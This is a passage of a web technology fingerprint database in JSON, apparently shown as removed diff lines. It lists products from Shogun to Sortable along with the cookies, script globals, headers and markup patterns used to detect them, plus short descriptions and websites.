drag and drop Shopify page builder for creating high-converting store pages.", - "website": "https://apps.shopify.com/shogun" - }, - "Shogun Page Builder": { - "js": [ - "shogunanalytics" - ], - "description": "Shogun is a page builder commonly used with headless implementations.", - "website": "https://getshogun.com/page-builder" - }, - "Shop Pay": { - "js": [ - "shopifypay.apihost" - ], - "description": "Shop Pay is an accelerated checkout that lets customers save their email address, credit card, and shipping and billing information so they can complete their transaction faster the next time they are directed to the Shopify checkout.", - "website": "https://shop.app" - }, - "Shop Pay Installments": { - "implies": [ - "Affirm", - "Shop Pay" - ], - "description": "Shop Pay Installments allows customers to pay for orders between 50 USD and 3,000 USD in 4 interest-free installments.", - "website": "https://shoppay.affirm.com" - }, - "ShopBase": { - "js": [ - "sbsdk.checkout.setenableabtestcustomer" - ], - "headers": { - "content-security-policy": "(?:accounts|templates)\\.shopbase\\.com" - }, - "description": " ShopBase is a cross-border ecommerce platform for all Dropshipping/Print-on-Demand novices and experienced merchants.", - "website": "https://www.shopbase.com" - }, - "ShopGold": { - "cookies": { - "egold": "^\\w+$", - "popup_shopgold": "", - "popup_shopgold_time": "" - }, - "description": "ShopGold is an all-in-one payment processing and ecommerce solution.", - "website": "https://www.shopgold.pl" - }, - "ShopPad Infinite Options": { - "js": [ - "shoppad.apps.infiniteoptions" - ], - "implies": [ - "Shopify" - ], - "description": "ShopPad Infinite Options allows you to create as many custom option fields for your product pages as you need.", - "website": "https://apps.shopify.com/custom-options" - }, - "ShopWired": { - "description": "ShopWired is a UK based, fully hosted ecommerce platform that is focused on the UK market.", - "website": "https://www.shopwired.co.uk" - }, - "Shopaholic": { - "cookies": { - "shopaholic_cart_id": "" - }, - "js": [ - "shopaholiccart" - ], - "description": "Shopaholic is an open-source ecosystem of plugins and themes for rapid ecommerce website development that allows building projects from small to large online shops.", - "website": "https://shopaholic.one" - }, - "Shopapps": { - "js": [ - "istockurl", - "iwishurl" - ], - "implies": [ - "Shopify" - ], - "description": "Shopapps is a trusted Shopify Expert providing services through Shopify Apps.", - "website": "http://www.shopapps.in" - }, - "Shopatron": { - "js": [ - "shpturl" - ], - "html": [ - "\u003cbody class=\"shopatron", - "\u003cimg[^\u003e]+mediacdn\\.shopatron\\.com\\;confidence:50" - ], - "meta": { - "keywords": [ - "shopatron" - ] - }, - "website": "http://ecommerce.shopatron.com" - }, - "Shopcada": { - "js": [ - "shopcada" - ], - "website": "http://shopcada.com" - }, - "Shoper": { - "js": [ - "shoper" - ], - "website": "https://www.shoper.pl" - }, - "Shopery": { - "headers": { - "x-shopery": "" - }, - "implies": [ - "PHP", - "Symfony", - "Elcodi" - ], - "website": "http://shopery.com" - }, - "Shopfa": { - "js": [ - "shopfa" - ], - "headers": { - "x-powered-by": "^shopfa ([\\d.]+)$\\;version:\\1" - }, - "meta": { - "generator": [ - "^shopfa ([\\d.]+)$\\;version:\\1" - ] - }, - "website": "https://shopfa.com" - }, - "ShopiMind": { - "js": [ - "_spmq.id_cart", - "_spmq.spm_ident" - ], - "description": "ShopiMind is a multi-channel marketing automation solution for all ecommerce activities.", - "website": "https://www.shopimind.com" - }, - "Shopify": { - "cookies": { - "_shopify_s": "", - "_shopify_y": "" - }, - "js": [ - "shopify_api_base_url", - "shopify", - "shopifyapi", - "shopifycustomer" - ], - "headers": { - "x-shopid": "\\;confidence:50", - "x-shopify-stage": "" - }, - "meta": { - "shopify-checkout-api-token": [], - "shopify-digital-wallet": [] - }, - "description": "Shopify is a subscription-based software that allows anyone to set up an online store and sell their products. Shopify store owners can also sell in physical locations using Shopify POS, a point-of-sale app and accompanying hardware.", - "website": "http://shopify.com" - }, - "Shopify Buy Button": { - "js": [ - "shopifybuy" - ], - "description": "Shopify Buy Button is an app from Shopify which allows merchant to embed buy functionality for any product or collection into another website or blog.", - "website": "https://apps.shopify.com/buy-button" - }, - "Shopify Chat": { - "implies": [ - "Shopify" - ], - "description": "Shopify Chat is Shopify's native live chat function that allows you to have real-time conversations with customers visiting your Shopify store.", - "website": "https://www.shopify.com/inbox" - }, - "Shopify Consent Management": { - "implies": [ - "Shopify" - ], - "description": "Shopify Consent Management let's you create a tracking consent banner for EU customers.", - "website": "https://apps.shopify.com/customer-privacy-banner" - }, - "Shopify Geolocation App": { - "implies": [ - "Shopify" - ], - "description": "Shopify Geolocation App makes language and country recommendations to your customers based on their geographic location and browser or device language.", - "website": "https://apps.shopify.com/geolocation" - }, - "Shopify Product Reviews": { - "js": [ - "spr" - ], - "implies": [ - "Shopify" - ], - "description": "Shopify Product reviews allows you to add a customer review feature to your products.", - "website": "https://apps.shopify.com/product-reviews" - }, - "Shopistry": { - "description": "Shopistry is a data-driven, headless customer management system.", - "website": "https://www.shopistry.com/" - }, - "Shoplazza": { - "cookies": { - "shoplazza_source": "" - }, - "js": [ - "shoplazza", - "shoplazza" - ], - "description": "Shoplazza is a SaaS ecommerce platform.", - "website": "https://www.shoplazza.com" - }, - "Shopline": { - "js": [ - "shopline", - "shoplytics" - ], - "description": "Shopline provides solutions for merchants to set up an online store.", - "website": "https://shoplineapp.com/" - }, - "Shoplo": { - "js": [ - "shoploajax" - ], - "description": "Shoplo is an all-in-one ecommerce platform.", - "website": "https://www.shoplo.com" - }, - "Shopmatic": { - "meta": { - "shopmatic-facebook-pixels-id": [] - }, - "description": "Shopmatic is an ecommerce website builder.", - "website": "https://goshopmatic.com" - }, - "Shoporama": { - "meta": { - "generator": [ - "shoporama" - ] - }, - "website": "https://www.shoporama.dk" - }, - "Shoppiko": { - "description": "Shoppiko is an ecommerce platform solution in India, which provides ecommerce website or ecommerce mobile application.", - "website": "https://shoppiko.com" - }, - "ShoppingFeeder": { - "js": [ - "sfdruniqid", - "sfdrorderdata" - ], - "description": "ShoppingFeeder is a feed management solution for online retailers.", - "website": "https://sfdr.co" - }, - "ShoppingGives": { - "js": [ - "sgobservables.getcharities" - ], - "description": "ShoppingGives is a B2B social ecommerce platform that allows companies of all sizes to make charitable donations through their customers' purchases.", - "website": "https://shoppinggives.com" - }, - "Shoppy": { - "js": [ - "shoppy" - ], - "description": "Shoppy is an all-in-one payment processing and ecommerce solution.", - "website": "https://shoppy.gg" - }, - "Shoprenter": { - "js": [ - "shoprenter.customer" - ], - "description": "Shoprenter offers a platform for building and running an ecommerce store.", - "website": "https://www.shoprenter.hu" - }, - "Shoprunner": { - "js": [ - "_shoprunner_com", - "_shoprunner_com.version" - ], - "description": "ShopRunner is a service offering consumers free two-day shipping and returns on online orders placed with certain retailers.", - "website": "https://www.shoprunner.com" - }, - "Shoptet": { - "js": [ - "shoptet" - ], - "html": [ - "\u003clink [^\u003e]*href=\"https?://cdn\\.myshoptet\\.com/" - ], - "meta": { - "web_author": [ - "^shoptet" - ] - }, - "implies": [ - "PHP" - ], - "description": "Shoptet is an ecommerce solutions from store builder, inventory management of online payments.", - "website": "http://www.shoptet.cz" - }, - "Shopware": { - "js": [ - "shopstudiogoogletagmanagercloudgtagcallback" - ], - "headers": { - "sw-context-token": "^[\\w]{32}$\\;version:6", - "sw-invalidation-states": "\\;version:6", - "sw-language-id": "^[a-fa-f0-9]{32}$\\;version:6", - "sw-version-id": "\\;version:6" - }, - "html": [ - "\u003ctitle\u003eshopware ([\\d\\.]+) [^\u003c]+\\;version:\\1" - ], - "meta": { - "application-name": [ - "shopware" - ] - }, - "implies": [ - "PHP", - "MySQL", - "jQuery", - "Symfony" - ], - "description": "Shopware is an enterprise-level ecommerce platform.", - "website": "https://www.shopware.com" - }, - "ShortPixel Image Optimizer": { - "js": [ - "sppictest" - ], - "description": "ShortPixel Image Optimizer is a lightweight WordPress plugin that can compress all of your site's images and PDF documents.", - "website": "https://shortpixel.com" - }, - "Shortcodes Ultimate": { - "description": "Shortcodes Ultimate is a comprehensive collection of visual components for WordPress.", - "website": "https://getshortcodes.com" - }, - "Shortly": { - "implies": [ - "Shopify" - ], - "description": "Shortly help create short URLs for influencer-marketing, social media posts \u0026 email-marketing campaigns with your own store domain.", - "website": "https://apps.shopify.com/shortly" - }, - "ShoutOut": { - "description": "ShoutOut is a multi-level marketing SaaS solution that allows tracking of affiliates.", - "website": "https://www.shoutout.global" - }, - "Showit": { - "js": [ - "showit.default.siteid" - ], - "description": "Showit is a drag-and-drop, no-code website builder for photographers and creative professionals.", - "website": "https://showit.co" - }, - "Shuttle": { - "js": [ - "shuttle.frontapp" - ], - "implies": [ - "Laravel", - "PHP", - "Amazon Web Services" - ], - "description": "Shuttle is a website development platform.", - "website": "https://www.devisto.com" - }, - "Sift": { - "js": [ - "__siftflashcb", - "_sift" - ], - "description": "Sift is a CA-based fraud prevention company.", - "website": "https://sift.com/" - }, - "Signal": { - "js": [ - "signaldata" - ], - "description": "Signal is a cross-platform encrypted messaging service.", - "website": "https://www.signal.co/" - }, - "Signifyd": { - "js": [ - "signifyd_global" - ], - "description": "Signifyd is a provider of an enterprise-grade fraud technology solution for ecommerce stores.", - "website": "https://www.signifyd.com" - }, - "SilverStripe": { - "html": [ - "powered by \u003ca href=\"[^\u003e]+silverstripe" - ], - "meta": { - "generator": [ - "^silverstripe" - ] - }, - "implies": [ - "PHP" - ], - "description": "Silverstripe CMS is a free and open source Content Management System and Framework for creating and maintaining websites and web applications.", - "website": "https://www.silverstripe.org/" - }, - "Simbel": { - "headers": { - "powered": "simbel" - }, - "website": "http://simbel.com.ar/" - }, - "Simon": { - "js": [ - "simondata" - ], - "description": "Simon is a customer data platform (CDP) that helps you collect, clean, and control your customer data.", - "website": "https://www.simondata.com/" - }, - "Simpl": { - "js": [ - "simplsettings" - ], - "description": "Simpl is a fintech company that offers a cardless payment network with multiple solutions for merchants and consumers.", - "website": "https://getsimpl.com" - }, - "Simple Analytics": { - "js": [ - "sa_event" - ], - "description": "Simple Analytics is a privacy-friendly Google Analytics alternative.", - "website": "https://simpleanalytics.com" - }, - "Simple Machines Forum": { - "js": [ - "smf_avatarresize", - "smf_default_theme_url", - "smf_theme_url" - ], - "implies": [ - "PHP" - ], - "description": "Simple Machines Forum is a free open-source software, used for community forums and is written in PHP.", - "website": "http://www.simplemachines.org" - }, - "SimpleHTTP": { - "headers": { - "server": "simplehttp(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://example.com" - }, - "SimpleSAMLphp": { - "cookies": { - "simplesaml": "", - "simplesamlsessionid": "" - }, - "implies": [ - "PHP" - ], - "description": "SimpleSAMLphp is an open-source PHP authentication application that provides support for SAML 2.0 as a Service Provider (SP) or Identity Provider (IdP).", - "website": "https://simplesamlphp.org" - }, - "Simplero": { - "js": [ - "simplero" - ], - "description": "Simplero is an all-in-one marketing software.", - "website": "https://simplero.com" - }, - "Simplero Websites": { - "cookies": { - "_simplero_session_id": "" - }, - "implies": [ - "Cart Functionality" - ], - "description": "Simplero Websites are a learning management system which suited for courses, coaching programs, memberships and digital products by Simplero.", - "website": "https://simplero.com/websites" - }, - "Simpli.fi": { - "description": "Simpli.fi is a programmatic advertising and agency management software.", - "website": "https://simpli.fi/" - }, - "Simplio Upsells": { - "implies": [ - "Shopify" - ], - "description": "Simplio Upsells сreate more revenue with promotions and post purchase upsells.", - "website": "https://apps.shopify.com/simple-promotions-and-upsells" - }, - "Simplo7": { - "description": "Simplo7 is an all-in-one ecommerce product.", - "website": "https://www.simplo7.com.br" - }, - "Simplébo": { - "headers": { - "x-servedby": "simplebo" - }, - "website": "https://www.simplebo.fr" - }, - "Simvoly": { - "js": [ - "simvoly" - ], - "description": "Simvoly is a drag-and-drop website builder for small and medium-sized businesses, agencies, and freelancers.", - "website": "https://simvoly.com" - }, - "Sinatra": { - "js": [ - "sinatraslideup", - "sinatra_vars.nonce" - ], - "description": "Sinatra is a lightweight and highly customizable multi-purpose WordPress theme.", - "website": "https://try.sinatrawp.com" - }, - "Sirclo": { - "headers": { - "x-powered-by": "sirclo" - }, - "description": "Sirclo offers online business solutions.", - "website": "https://sirclo.com/" - }, - "Sirdata": { - "js": [ - "sddan.cmp", - "sddan.cmploaded" - ], - "description": "Sirdata is a self-service, third party data-collecting platform that specialises in the collection of behavioural data, predictive targeting and selling of audience segments.", - "website": "https://www.sirdata.com" - }, - "Site Kit": { - "meta": { - "generator": [ - "^site kit by google ?([\\d.]+)?\\;version:\\1" - ] - }, - "description": "Site Kit is a one-stop solution for WordPress users to use everything Google has to offer to make them successful on the web.", - "website": "https://sitekit.withgoogle.com/" - }, - "Site Meter": { - "website": "http://www.sitemeter.com" - }, - "Site Search 360": { - "js": [ - "ss360config" - ], - "description": "Site Search 360 is a site search as a service solution.", - "website": "https://www.sitesearch360.com/" - }, - "Site24x7": { - "js": [ - "s247rum", - "site24x7rumerror", - "site24x7rum", - "s247rumqueueimpl" - ], - "description": "Site24x7 is a cloud-based website and server monitoring platform.", - "website": "https://www.site24x7.com" - }, - "SiteEdit": { - "meta": { - "generator": [ - "siteedit" - ] - }, - "website": "http://www.siteedit.ru" - }, - "SiteGround": { - "headers": { - "host-header": "192fc2e7e50945beb8231a492d6a8024|b7440e60b07ee7b8044761568fab26e8|624d5be7be38418a3e2a818cc8b7029b|6b7412fb82ca5edfd0917e3957f05d89" - }, - "description": "SiteGround is a web hosting service.", - "website": "https://www.siteground.com" - }, - "SiteGuard WP Plugin": { - "description": "SiteGurad WP Plugin is the plugin specialised for the protection against the attack to the management page and login.", - "website": "https://www.jp-secure.com/siteguard_wp_plugin_en" - }, - "SiteJabber": { - "description": "Sitejabber is the leading destination for customer ratings and reviews of businesses. Consumers find ratings and read reviews to ensure they buy from the best companies.", - "website": "https://www.sitejabber.com/" - }, - "SiteManager": { - "js": [ - "sm_cookiesmodal", - "sm_modal" - ], - "description": "SiteManager is a collaborative no-code/low-code web design platform for agencies and marketing teams.", - "website": "https://www.sitemanager.io" - }, - "SiteMinder": { - "description": "SiteMinder is a appointment booking solution designed for hotels.", - "website": "https://www.siteminder.com" - }, - "SiteOrigin Page Builder": { - "description": "Page Builder by SiteOrigin makes it easy to build responsive grid-based page content that adapts to mobile devices with pixel perfect accuracy.", - "website": "https://siteorigin.com/page-builder" - }, - "SiteOrigin Vantage": { - "description": "SiteOrigin Vantage is a response, multi-purpose theme carefully developed with seamless integration into an array of amazing third-party plugins.", - "website": "https://siteorigin.com/theme/vantage" - }, - "SiteOrigin Widgets Bundle": { - "description": "SiteOrigin Widgets Bundle is a WordPress plugin that gives you all the elements you need to build modern, responsive, and engaging website pages.", - "website": "https://siteorigin.com/widgets-bundle" - }, - "SitePad": { - "meta": { - "generator": [ - "^sitepad(?:\\s([\\d\\.]+))?$\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "SitePad is a WYSIWYG drag and drop website building and maintenance program.", - "website": "https://sitepad.com" - }, - "SiteSpect": { - "js": [ - "ss_dom_var" - ], - "description": "SiteSpect is the A/B testing and optimisation solution.", - "website": "https://www.sitespect.com" - }, - "SiteVibes": { - "js": [ - "sitevibesmanager" - ], - "description": "SiteVibes is a cloud-based user generated content and visual marketing platform.", - "website": "https://sitevibes.com" - }, - "SiteW": { - "description": "SiteW is a French-based company that offers a website building service.", - "website": "https://www.en.sitew.com" - }, - "Sitecore": { - "cookies": { - "sc_analytics_global_cookie": "", - "sc_expview": "", - "sc_os_sessionid": "", - "sxa_site": "" - }, - "js": [ - "sitecoreutilities" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Sitecore provides web content management, and multichannel marketing automation software.", - "website": "https://www.sitecore.com/" - }, - "Sitefinity": { - "js": [ - "sfdataintell" - ], - "meta": { - "generator": [ - "^sitefinity\\s([\\s]{3,9})\\;version:\\1" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Sitefinity is a content management system (CMS) that you use to create, store, manage, and present content on your website.", - "website": "http://www.sitefinity.com" - }, - "Siteglide": { - "implies": [ - "PlatformOS" - ], - "description": "SiteGlide is a Digital Experience Platform (DEP) for ecommerce stores, membership sites and customer portals.", - "website": "https://www.siteglide.com" - }, - "Siteimprove": { - "js": [ - "_sz.analytics.heatmap" - ], - "description": "Siteimprove is a digital analytics and content QA platform.", - "website": "https://www.siteimprove.com" - }, - "Sitepark IES": { - "meta": { - "generator": [ - "^sitepark\\sinformation\\senterprise\\sserver\\s-\\sies\\sgenerator\\sv([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "MySQL", - "Lucene" - ], - "description": "Sitepark IES is a content management system written in PHP and paired with a MySQL database.", - "website": "https://www.sitepark.com/oeffentlicher-sektor/produkte/cms-technologie.php" - }, - "Sitepark InfoSite": { - "meta": { - "generator": [ - "^infosite\\s([\\d\\.]+)\\s-\\ssitepark\\sinformation\\senterprise\\sserver$\\;version:\\1" - ] - }, - "implies": [ - "Sitepark IES" - ], - "description": "Sitepark InfoSite is a content management system and complete application of Sitepark IES which written in PHP and paired with a MySQL database.", - "website": "https://www.sitepark.com/mittelstand/content-management-system/index.php" - }, - "Sitevision CMS": { - "cookies": { - "sitevisionltm": "" - }, - "description": "Sitevision CMS is a platform for web publishing that consists of flexible and pre-made modules. Available as self-hosed software and Cloud SaaS.", - "website": "https://www.sitevision.se" - }, - "Sivuviidakko": { - "meta": { - "generator": [ - "sivuviidakko" - ] - }, - "website": "http://sivuviidakko.fi" - }, - "Sizebay": { - "js": [ - "sizebay", - "sizebayparams" - ], - "description": "Sizebay is a virtual fitting room that helps ecommerce and even brick-and-mortar stores provide their shoppers with a personalised shopping.", - "website": "https://sizebay.com" - }, - "Sizmek": { - "html": [ - "(?:\u003ca [^\u003e]*href=\"[^/]*//[^/]*serving-sys\\.com/|\u003cimg [^\u003e]*src=\"[^/]*//[^/]*serving-sys\\.com/)" - ], - "website": "http://sizmek.com" - }, - "Skai": { - "js": [ - "ktag_constants" - ], - "description": "Skai (formerly Kenshoo) is a marketing activation solution for brands and agencies.", - "website": "https://skai.io" - }, - "Skedify": { - "js": [ - "skedify.plugin.version" - ], - "description": "Skedify is an appointment booking solution created for enterprises.", - "website": "https://calendly.com/" - }, - "Skilldo": { - "headers": { - "cms-name": "^skilldo$", - "cms-version": "([\\d\\.]+)\\;version:\\1\\;confidence:0" - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Skilldo is a content management system written in PHP and paired with a MySQL or MariaDB database.", - "website": "https://developers.sikido.vn/docs/cms/" - }, - "Skilljar": { - "js": [ - "skilljar_dashboard_globals", - "skilljarcatalogpage", - "skilljarthemeversionmajor", - "skilljartranslate" - ], - "description": "Skilljar is a B2B customer training platform and learning management system.", - "website": "https://www.skilljar.com/" - }, - "Skimlinks": { - "js": [ - "__skim_js_global__", - "addskimlinks", - "skimlinksapi" - ], - "description": "Skimlinks is a content monetization platform for online publishers.", - "website": "https://skimlinks.com" - }, - "Skio": { - "implies": [ - "Shopify" - ], - "description": "Skio helps brands on Shopify sell subscriptions without ripping their hair out.", - "website": "https://skio.com" - }, - "Sky-Shop": { - "js": [ - "l.continue_shopping" - ], - "meta": { - "generator": [ - "sky-shop" - ] - }, - "implies": [ - "PHP", - "Bootstrap", - "jQuery" - ], - "description": "Sky-Shop.pl is a platform for dropshipping an online sales on Allegro, eBay and Amazon.", - "website": "https://sky-shop.pl" - }, - "SkyVerge": { - "js": [ - "sv_wc_payment_gateway_payment_form_param" - ], - "implies": [ - "WooCommerce" - ], - "description": "SkyVerge is a company which develop extension tools for WooCommerce stores.", - "website": "https://www.skyverge.com" - }, - "Slate": { - "description": "Slate is a CRM system designed specifically for higher education institutions, which helps them to manage student interactions, track admissions, and analyze student data in a flexible and user-friendly way.", - "website": "https://technolutions.com" - }, - "Sleeknote": { - "js": [ - "sleeknotemarketingconsent", - "sleeknotescripttag", - "sleeknotesitedata", - "sleeknote.sleeknotes" - ], - "description": "Sleeknote is a cloud-based software that helps online businesses reach conversion goals through website popups.", - "website": "https://sleeknote.com" - }, - "Slice": { - "description": "Slice is an online food ordering platform for independent pizzerias.", - "website": "https://slicelife.com/owners" - }, - "Slick": { - "html": [ - "\u003clink [^\u003e]+(?:/([\\d.]+)/)?slick-theme\\.css\\;version:\\1" - ], - "implies": [ - "jQuery" - ], - "website": "https://kenwheeler.github.io/slick" - }, - "SlickStack": { - "headers": { - "x-powered-by": "slickstack" - }, - "implies": [ - "WordPress" - ], - "description": "SlickStack is a free LEMP stack automation script written in Bash designed to enhance and simplify WordPress provisioning, performance, and security.", - "website": "https://slickstack.io" - }, - "Slider Captcha": { - "js": [ - "slidercaptcha" - ], - "implies": [ - "jQuery" - ], - "description": "Slider Captcha is a free service that helps protect websites from spam and abuse.", - "website": "https://github.com/ArgoZhang/SliderCaptcha" - }, - "Slider Revolution": { - "js": [ - "revslider_showdoublejqueryerror", - "rs_modules.main.version", - "revapi1", - "revapi2", - "revapi3", - "revapi4", - "revapi5" - ], - "meta": { - "generator": [ - "powered\\sby\\sslider revolution\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Slider Revolution is a flexible and highly customisable slider.", - "website": "https://www.sliderrevolution.com" - }, - "Slimbox": { - "html": [ - "\u003clink [^\u003e]*href=\"[^/]*slimbox(?:-rtl)?\\.css" - ], - "implies": [ - "MooTools" - ], - "website": "http://www.digitalia.be/software/slimbox" - }, - "Slimbox 2": { - "html": [ - "\u003clink [^\u003e]*href=\"[^/]*slimbox2(?:-rtl)?\\.css" - ], - "implies": [ - "jQuery" - ], - "website": "http://www.digitalia.be/software/slimbox2" - }, - "Smart Ad Server": { - "js": [ - "smartadserver" - ], - "description": "Smart Ad Server is an adserving and RTB platform.", - "website": "http://smartadserver.com" - }, - "Smart Slider 3": { - "description": "Smart Slider 3 is a responsive, SEO optimised WordPress plugin.", - "website": "https://smartslider3.com" - }, - "SmartRecruiters": { - "description": "SmartRecruiters is a web-based talent acquisition platform.", - "website": "https://www.smartrecruiters.com" - }, - "SmartSite": { - "html": [ - "\u003c[^\u003e]+/smartsite\\.(?:dws|shtml)\\?id=" - ], - "meta": { - "author": [ - "redacteur smartinstant" - ] - }, - "website": "http://www.seneca.nl/pub/Smartsite/Smartsite-Smartsite-iXperion" - }, - "SmartWeb": { - "meta": { - "generator": [ - "^smartweb$" - ] - }, - "description": "SmartWeb is an ecommerce platform from Denmark.", - "website": "https://www.smartweb.dk" - }, - "Smarter Click": { - "js": [ - "$smcinstall", - "$smct5", - "$smctdata" - ], - "description": "Smarter Click is a marketing technology company.", - "website": "https://smarterclick.com" - }, - "Smartling": { - "js": [ - "populatesmartlingddl" - ], - "description": "Smartling is a cloud-based translation management system.", - "website": "https://www.smartling.com" - }, - "Smartlook": { - "js": [ - "smartlook", - "smartlook_key" - ], - "description": "Smartlook is a qualitative analytics solution for websites and mobile apps.", - "website": "https://www.smartlook.com" - }, - "Smartstore": { - "cookies": { - "smartstore.customer": "", - "smartstore.visitor": "" - }, - "html": [ - "\u003c!--powered by smart[ss]tore", - "\u003cmeta property=\"sm:pagedata\"" - ], - "meta": { - "generator": [ - "^smart[ss]tore(.net)? (.+)$\\;version:\\2" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "description": "Smartstore is an open-source ecommerce system with CMS capabilities.", - "website": "https://www.smartstore.com" - }, - "Smartstore Page Builder": { - "html": [ - "\u003csection[^\u003e]+class=\"g-stage" - ], - "css": [ - "\\.g-stage \\.g-stage-root" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://www.smartstore.com" - }, - "Smartstore biz": { - "website": "http://smartstore.com" - }, - "Smartsupp": { - "js": [ - "$smartsupp.options.widgetversion", - "smartsupp" - ], - "description": "Smartsupp is a live chat tool that offers visitor recording feature.", - "website": "https://www.smartsupp.com" - }, - "Smash Balloon Instagram Feed": { - "description": "Instagram Feed displays Instagram posts from your Instagram accounts, either in the same single feed or in multiple different ones. Created by Smash Balloon.", - "website": "https://smashballoon.com/instagram-feed" - }, - "Smile": { - "js": [ - "smile.channel_key" - ], - "description": "Smile is a provider of ecommerce loyalty programs.", - "website": "https://smile.io" - }, - "Smile App": { - "implies": [ - "Smile" - ], - "description": "Smile App offers a loyalty program for Shopify stores.", - "website": "https://apps.shopify.com/smile-io" - }, - "SmtpJS": { - "description": "SmtpJS is a free library you can use for sending emails from JavaScript.", - "website": "https://smtpjs.com" - }, - "SmugMug": { - "js": [ - "_smugsp" - ], - "headers": { - "smug-cdn": "" - }, - "description": "SmugMug is a paid image sharing, image hosting service, and online video platform on which users can upload photos and videos.", - "website": "https://www.smugmug.com" - }, - "Snap": { - "headers": { - "server": "snap/([.\\d]+)\\;version:\\1" - }, - "implies": [ - "Haskell" - ], - "website": "http://snapframework.com" - }, - "Snap Pixel": { - "js": [ - "__snappixel", - "snaptr.pixelidlist" - ], - "description": "Snap Pixel is a piece of JavaScript code that helps advertisers measure the cross-device impact of campaigns.", - "website": "https://businesshelp.snapchat.com/s/article/snap-pixel-about" - }, - "Snap.svg": { - "js": [ - "snap.version" - ], - "website": "http://snapsvg.io" - }, - "SnapEngage": { - "js": [ - "snapengage", - "snapengagechat", - "snapengage_mobile" - ], - "html": [ - "\u003c!-- begin snapengage" - ], - "description": "SnapEngage is a live chat solution that caters to businesses across various industries.", - "website": "https://snapengage.com/" - }, - "SnapWidget": { - "description": "SnapWidget is a set of interactive Instagram, Twitter and 500px widgets.", - "website": "https://snapwidget.com" - }, - "Snipcart": { - "cookies": { - "snipcart-cart": "" - }, - "description": "Snipcart is a shopping cart platform that can be integrated into any website with simple HTML and JavaScript.", - "website": "https://snipcart.com" - }, - "SniperFast": { - "js": [ - "sniperenablesearch", - "sniper_search_key", - "sniperfast_page_id" - ], - "description": "SniperFast is instant search system for ecommerce sites.", - "website": "https://www.sniperfast.com" - }, - "Sniply": { - "js": [ - "sniply.create_sniply_bar" - ], - "description": "Sniply is a special URL shortener that allows to add a call-to-action to any landing page.", - "website": "https://sniply.io" - }, - "Snoobi": { - "js": [ - "snoobi" - ], - "website": "http://www.snoobi.com" - }, - "Snowplow Analytics": { - "cookies": { - "_sp_id": "", - "sp": "\\;confidence:50" - }, - "js": [ - "globalsnowplownamespace", - "snowplow" - ], - "description": "Snowplow is an open-source behavioral data management platform for businesses.", - "website": "https://snowplowanalytics.com" - }, - "SobiPro": { - "js": [ - "sobiprourl" - ], - "implies": [ - "Joomla" - ], - "website": "http://sigsiu.net/sobipro.html" - }, - "Social9": { - "description": "Social9 is a social sharing widgets and plugins.", - "website": "https://social9.com" - }, - "SocialJuice": { - "description": "SocialJuice is a simple tool to collect video testimonials or textual testimonials from your clients.", - "website": "https://socialjuice.io" - }, - "SocialLadder": { - "description": "SocialLadder is a complete end-to-end creator management solution for brands looking to maximize and scale their brand ambassador, influencer, and affiliate marketing efforts.", - "website": "https://socialladderapp.com" - }, - "Societe des Avis Garantis": { - "description": "Societe des Avis Garantis is a French company that provides customer review and rating services for businesses through its online platform.", - "website": "https://www.societe-des-avis-garantis.fr" - }, - "Socket.io": { - "js": [ - "io.socket", - "io.version" - ], - "implies": [ - "Node.js" - ], - "website": "https://socket.io" - }, - "SoftTr": { - "meta": { - "author": [ - "softtr e-ticaret sitesi yazılımı" - ] - }, - "website": "http://www.softtr.com" - }, - "Softr": { - "description": "Softr is a tool designed to help users build custom websites, web apps, clients portals, or internal tools using Airtable or Google Sheets data.", - "website": "https://www.softr.io" - }, - "Soisy": { - "description": "Soisy is a buy now, pay later solution provider.", - "website": "https://www.soisy.it" - }, - "SolidJS": { - "js": [ - "solid$$" - ], - "description": "SolidJS is a purely reactive library. It was designed from the ground up with a reactive core. It's influenced by reactive principles developed by previous libraries.", - "website": "https://www.solidjs.com/" - }, - "SolidPixels": { - "meta": { - "web_author": [ - "^solidpixels" - ] - }, - "implies": [ - "React" - ], - "description": "Solidpixels is platform to build websites.", - "website": "https://www.solidpixels.net" - }, - "SolidStart": { - "js": [ - "_$hy" - ], - "implies": [ - "SolidJS" - ], - "description": "SolidStart is the Solid app framework.", - "website": "https://start.solidjs.com" - }, - "Solodev": { - "headers": { - "solodev_session": "" - }, - "html": [ - "\u003cdiv class=[\"']dynamicdiv[\"'] id=[\"']dd\\.\\d\\.\\d(?:\\.\\d)?[\"']\u003e" - ], - "implies": [ - "PHP" - ], - "website": "http://www.solodev.com" - }, - "Solr": { - "implies": [ - "Lucene" - ], - "description": "Solr is an open-source enterprise-search platform, written in Java.", - "website": "http://lucene.apache.org/solr/" - }, - "Solusquare OmniCommerce Cloud": { - "cookies": { - "_solusquare": "" - }, - "meta": { - "generator": [ - "^solusquare$" - ] - }, - "implies": [ - "Adobe ColdFusion" - ], - "website": "https://www.solusquare.com" - }, - "Solve Media": { - "js": [ - "acpuzzle", - "_acpuzzle", - "_adcopy-puzzle-image-image", - "adcopy-puzzle-image-image" - ], - "website": "http://solvemedia.com" - }, - "Solvemate": { - "js": [ - "solvemate.config.solvematecdn", - "solvematecli", - "solvemateconfig" - ], - "description": "Solvemate is a customer service automation platform that enables brands to deliver quality customer service through meaningful conversations via chatbots.", - "website": "https://www.solvemate.com" - }, - "Solvvy": { - "js": [ - "solvvy" - ], - "description": "Solvvy provides live chat and chatbot services.", - "website": "https://solvvy.com/" - }, - "SonarQubes": { - "js": [ - "sonarmeasures", - "sonarrequest" - ], - "html": [ - "\u003clink href=\"/css/sonar\\.css\\?v=([\\d.]+)\\;version:\\1", - "\u003ctitle\u003esonarqube\u003c/title\u003e" - ], - "meta": { - "application-name": [ - "^sonarqubes$" - ] - }, - "implies": [ - "Java" - ], - "description": "SonarQube is an open-source platform for the continuous inspection of code quality to perform automatic reviews with static analysis of code to detect bugs, code smells, and security vulnerabilities on 20+ programming languages.", - "website": "https://www.sonarqube.org/" - }, - "Sonobi": { - "description": "Sonobi is an ad technology developer that designs advertising tools and solutions for the media publishers, brand advertisers and media agencies.", - "website": "https://sonobi.com" - }, - "Sortable": { - "js": [ - "deployads" - ], - "description": "Sortable is a 